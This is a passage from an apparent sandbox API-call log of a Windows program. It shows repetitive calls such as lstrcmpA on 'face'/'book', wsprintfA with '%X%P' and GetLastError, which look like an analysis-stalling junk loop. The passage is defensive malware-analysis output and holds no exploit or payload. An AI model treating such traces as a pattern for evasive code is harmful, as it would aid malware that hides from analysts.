(lpString="just string") returned 11 [0121.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.728] GetLastError () returned 0x57 [0121.728] GetLastError () returned 0x57 [0121.728] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] GetCurrentProcess () returned 0xffffffff [0121.728] GetLastError () returned 0x57 [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1396P") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1397P") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1398P") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] lstrlenA (lpString="just string") returned 11 [0121.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.728] GetLastError () returned 0x57 [0121.728] lstrlenA (lpString="just string") returned 11 [0121.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.728] GetLastError () returned 0x57 [0121.728] GetLastError () returned 0x57 [0121.728] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] GetCurrentProcess () returned 0xffffffff [0121.728] GetLastError () returned 0x57 [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="13BEP") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="13BFP") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="13C0P") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] lstrlenA (lpString="just string") returned 11 [0121.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.728] GetLastError () returned 0x57 [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] GetLastError () returned 0x57 [0121.729] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.729] SetLastError (dwErrCode=0x57) [0121.729] GetCurrentProcess () returned 0xffffffff [0121.729] GetLastError () returned 0x57 [0121.729] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="13FAP") returned 5 [0121.729] SetLastError (dwErrCode=0x57) [0121.729] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="13FBP") returned 5 [0121.729] SetLastError (dwErrCode=0x57) [0121.729] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="13FCP") returned 5 [0121.729] SetLastError (dwErrCode=0x57) [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] GetLastError () returned 0x57 [0121.729] GetLastError () returned 0x57 [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] GetLastError () returned 0x57 [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] GetLastError () returned 0x57 [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] GetLastError () returned 0x57 [0121.729] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1578P") returned 5 [0121.729] SetLastError (dwErrCode=0x57) [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] GetLastError () returned 0x57 [0121.729] lstrlenA (lpString="just string") returned 11 [0121.729] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.729] GetLastError () returned 0x57 [0121.729] GetLastError () returned 0x57 [0121.730] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.730] SetLastError (dwErrCode=0x57) [0121.730] GetCurrentProcess () returned 0xffffffff [0121.730] GetLastError () returned 0x57 [0121.730] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="15EEP") returned 5 [0121.730] SetLastError (dwErrCode=0x57) [0121.730] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="15EFP") returned 5 [0121.730] SetLastError (dwErrCode=0x57) [0121.730] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="15F0P") returned 5 [0121.730] SetLastError (dwErrCode=0x57) [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] GetCurrentProcess () returned 0xffffffff [0121.730] GetLastError () returned 0x57 [0121.730] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1653P") returned 5 [0121.730] SetLastError (dwErrCode=0x57) [0121.730] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1654P") returned 5 [0121.730] SetLastError (dwErrCode=0x57) [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] GetLastError () returned 0x57 [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] GetLastError () returned 0x57 [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] GetLastError () returned 0x57 [0121.730] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1776P") returned 5 [0121.730] SetLastError (dwErrCode=0x57) [0121.730] lstrlenA (lpString="just string") returned 11 [0121.730] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.730] GetLastError () returned 0x57 [0121.730] GetLastError () returned 0x57 [0121.730] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.730] SetLastError (dwErrCode=0x57) [0121.730] GetCurrentProcess () returned 0xffffffff [0121.730] GetLastError () returned 0x57 [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="177EP") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="177FP") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1780P") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.731] GetLastError () returned 0x57 [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="17DAP") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.731] GetLastError () returned 0x57 [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1852P") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.731] GetLastError () returned 0x57 [0121.731] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] GetCurrentProcess () returned 0xffffffff [0121.731] GetLastError () returned 0x57 [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="18A0P") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="18A1P") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="18A2P") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.731] GetLastError () returned 0x57 [0121.731] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="18C0P") returned 5 [0121.731] SetLastError (dwErrCode=0x57) [0121.731] lstrlenA (lpString="just string") returned 11 [0121.731] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.731] GetLastError () returned 0x57 [0121.732] lstrlenA (lpString="just string") returned 11 [0121.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.732] GetLastError () returned 0x57 [0121.732] lstrlenA (lpString="just string") returned 11 [0121.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.732] GetLastError () returned 0x57 [0121.732] GetLastError () returned 0x57 [0121.732] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] GetCurrentProcess () returned 0xffffffff [0121.732] GetLastError () returned 0x57 [0121.732] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="194AP") returned 5 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="194BP") returned 5 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="194CP") returned 5 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] lstrlenA (lpString="just string") returned 11 [0121.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.732] GetLastError () returned 0x57 [0121.732] GetLastError () returned 0x57 [0121.732] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] GetCurrentProcess () returned 0xffffffff [0121.732] GetLastError () returned 0x57 [0121.732] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="195EP") returned 5 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="195FP") returned 5 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1960P") returned 5 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] lstrlenA (lpString="just string") returned 11 [0121.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.732] GetLastError () returned 0x57 [0121.732] GetLastError () returned 0x57 [0121.732] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1988P") returned 5 [0121.732] SetLastError (dwErrCode=0x57) [0121.732] lstrlenA (lpString="just string") returned 11 [0121.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.732] GetLastError () returned 0x57 [0121.732] GetLastError () returned 0x57 [0121.732] GetLastError () returned 0x57 [0121.732] lstrlenA (lpString="just string") returned 11 [0121.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.732] GetLastError () returned 0x57 [0121.732] lstrlenA (lpString="just string") returned 11 [0121.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.732] GetLastError () returned 0x57 [0121.732] lstrlenA (lpString="just string") returned 11 [0121.732] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.732] GetLastError () returned 0x57 [0121.732] lstrlenA (lpString="just string") returned 11 [0121.733] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.733] GetLastError () returned 0x57 [0121.733] lstrlenA (lpString="just string") returned 11 [0121.733] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.733] GetLastError () returned 0x57 [0121.733] GetLastError () returned 0x57 [0121.733] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] GetCurrentProcess () returned 0xffffffff [0121.733] GetLastError () returned 0x57 [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1ABCP") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1ABDP") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1ABEP") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] lstrlenA (lpString="just string") returned 11 [0121.733] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.733] GetLastError () returned 0x57 [0121.733] GetLastError () returned 0x57 [0121.733] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] GetCurrentProcess () returned 0xffffffff [0121.733] GetLastError () returned 0x57 [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1AD0P") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1AD1P") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1AD2P") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] lstrlenA (lpString="just string") returned 11 [0121.733] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.733] GetLastError () returned 0x57 [0121.733] GetCurrentProcess () returned 0xffffffff [0121.733] GetLastError () returned 0x57 [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1AF9P") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1AFAP") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] lstrlenA (lpString="just string") returned 11 [0121.733] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.733] GetLastError () returned 0x57 [0121.733] GetLastError () returned 0x57 [0121.733] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.733] SetLastError (dwErrCode=0x57) [0121.733] GetCurrentProcess () returned 0xffffffff [0121.733] GetLastError () returned 0x57 [0121.733] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1B16P") returned 5 [0121.733] SetLastError (dwErrCode=0x57) [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1B17P") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1B18P") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] lstrlenA (lpString="just string") returned 11 [0121.734] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.734] GetLastError () returned 0x57 [0121.734] GetCurrentProcess () returned 0xffffffff [0121.734] GetLastError () returned 0x57 [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1B53P") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1B54P") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] lstrlenA (lpString="just string") returned 11 [0121.734] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.734] GetLastError () returned 0x57 [0121.734] lstrlenA (lpString="just string") returned 11 [0121.734] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.734] GetLastError () returned 0x57 [0121.734] lstrlenA (lpString="just string") returned 11 [0121.734] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.734] GetLastError () returned 0x57 [0121.734] GetLastError () returned 0x57 [0121.734] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] GetCurrentProcess () returned 0xffffffff [0121.734] GetLastError () returned 0x57 [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1BFCP") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1BFDP") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1BFEP") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] lstrlenA (lpString="just string") returned 11 [0121.734] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.734] GetLastError () returned 0x57 [0121.734] GetLastError () returned 0x57 [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1C26P") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] lstrlenA (lpString="just string") returned 11 [0121.734] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.734] GetLastError () returned 0x57 [0121.734] GetLastError () returned 0x57 [0121.734] GetCurrentProcess () returned 0xffffffff [0121.734] GetLastError () returned 0x57 [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1C93P") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1C94P") returned 5 [0121.734] SetLastError (dwErrCode=0x57) [0121.734] lstrlenA (lpString="just string") returned 11 [0121.734] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.734] GetLastError () returned 0x57 [0121.734] lstrlenA (lpString="just string") returned 11 [0121.734] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.735] GetLastError () returned 0x57 [0121.735] lstrlenA (lpString="just string") returned 11 [0121.735] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.735] GetLastError () returned 0x57 [0121.735] GetLastError () returned 0x57 [0121.735] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] GetCurrentProcess () returned 0xffffffff [0121.735] GetLastError () returned 0x57 [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1CD8P") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1CD9P") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1CDAP") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] lstrlenA (lpString="just string") returned 11 [0121.735] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.735] GetLastError () returned 0x57 [0121.735] GetLastError () returned 0x57 [0121.735] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] GetCurrentProcess () returned 0xffffffff [0121.735] GetLastError () returned 0x57 [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1D00P") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1D01P") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1D02P") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] lstrlenA (lpString="just string") returned 11 [0121.735] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.735] GetLastError () returned 0x57 [0121.735] GetLastError () returned 0x57 [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1D2AP") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] lstrlenA (lpString="just string") returned 11 [0121.735] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.735] GetLastError () returned 0x57 [0121.735] GetCurrentProcess () returned 0xffffffff [0121.735] GetLastError () returned 0x57 [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1D33P") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1D34P") returned 5 [0121.735] SetLastError (dwErrCode=0x57) [0121.735] lstrlenA (lpString="just string") returned 11 [0121.735] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.735] GetLastError () returned 0x57 [0121.735] GetLastError () returned 0x57 [0121.735] lstrlenA (lpString="just string") returned 11 [0121.735] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.735] GetLastError () returned 0x57 [0121.736] GetCurrentProcess () returned 0xffffffff [0121.736] GetLastError () returned 0x57 [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1D83P") returned 5 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1D84P") returned 5 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] lstrlenA (lpString="just string") returned 11 [0121.736] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.736] GetLastError () returned 0x57 [0121.736] GetCurrentProcess () returned 0xffffffff [0121.736] GetLastError () returned 0x57 [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1DB5P") returned 5 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1DB6P") returned 5 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] lstrlenA (lpString="just string") returned 11 [0121.736] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.736] GetLastError () returned 0x57 [0121.736] GetLastError () returned 0x57 [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1DDEP") returned 5 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] lstrlenA (lpString="just string") returned 11 [0121.736] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.736] GetLastError () returned 0x57 [0121.736] GetLastError () returned 0x57 [0121.736] lstrlenA (lpString="just string") returned 11 [0121.736] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.736] GetLastError () returned 0x57 [0121.736] lstrlenA (lpString="just string") returned 11 [0121.736] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.736] GetLastError () returned 0x57 [0121.736] GetLastError () returned 0x57 [0121.736] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] GetCurrentProcess () returned 0xffffffff [0121.736] GetLastError () returned 0x57 [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1EAEP") returned 5 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1EAFP") returned 5 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1EB0P") returned 5 [0121.736] SetLastError (dwErrCode=0x57) [0121.736] lstrlenA (lpString="just string") returned 11 [0121.736] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.736] GetLastError () returned 0x57 [0121.736] lstrlenA (lpString="just string") returned 11 [0121.736] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.736] GetLastError () returned 0x57 [0121.736] lstrlenA (lpString="just string") returned 11 [0121.736] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.736] GetLastError () returned 0x57 [0121.736] GetLastError () returned 0x57 [0121.736] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1ED8P") returned 5 [0121.737] SetLastError (dwErrCode=0x57) [0121.737] lstrlenA (lpString="just string") returned 11 [0121.737] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.737] GetLastError () returned 0x57 [0121.737] GetLastError () returned 0x57 [0121.737] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.737] SetLastError (dwErrCode=0x57) [0121.737] GetCurrentProcess () returned 0xffffffff [0121.737] GetLastError () returned 0x57 [0121.737] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1EFEP") returned 5 [0121.737] SetLastError (dwErrCode=0x57) [0121.737] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1EFFP") returned 5 [0121.737] SetLastError (dwErrCode=0x57) [0121.737] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1F00P") returned 5 [0121.737] SetLastError (dwErrCode=0x57) [0121.737] lstrlenA (lpString="just string") returned 11 [0121.737] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.737] GetLastError () returned 0x57 [0121.737] GetLastError () returned 0x57 [0121.737] GetLastError () returned 0x57 [0121.737] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.737] SetLastError (dwErrCode=0x57) [0121.737] GetCurrentProcess () returned 0xffffffff [0121.737] GetLastError () returned 0x57 [0121.737] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1F6CP") returned 5 [0121.737] SetLastError (dwErrCode=0x57) [0121.737] GetCurrentProcessId () returned 0x5d8 [0121.737] GetCurrentProcess () returned 0xffffffff [0121.737] GetLastError () returned 0x57 [0121.737] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1F6DP") returned 5 [0121.737] SetLastError (dwErrCode=0x57) [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetLastError () returned 0x57 [0121.738] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1F6EP") returned 5 [0121.738] SetLastError (dwErrCode=0x57) [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] lstrlenA (lpString="just string") returned 11 [0121.738] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.738] GetLastError () returned 0x57 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] lstrlenA (lpString="just string") returned 11 [0121.738] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.738] GetLastError () returned 0x57 [0121.738] GetLastError () returned 0x57 [0121.738] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.738] SetLastError (dwErrCode=0x57) [0121.738] GetCurrentProcess () returned 0xffffffff [0121.738] GetLastError () returned 0x57 [0121.738] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1F94P") returned 5 [0121.738] SetLastError (dwErrCode=0x57) [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcess () returned 0xffffffff [0121.738] GetLastError () returned 0x57 [0121.738] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1F95P") returned 5 [0121.738] SetLastError (dwErrCode=0x57) [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetLastError () returned 0x57 [0121.738] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1F96P") returned 5 [0121.738] SetLastError (dwErrCode=0x57) [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] lstrlenA (lpString="just string") returned 11 [0121.738] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.738] GetLastError () returned 0x57 [0121.738] GetCurrentProcess () returned 0xffffffff [0121.738] GetLastError () returned 0x57 [0121.738] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1FDBP") returned 5 [0121.738] SetLastError (dwErrCode=0x57) [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetLastError () returned 0x57 [0121.738] wsprintfA (in: param_1=0x34fda3, 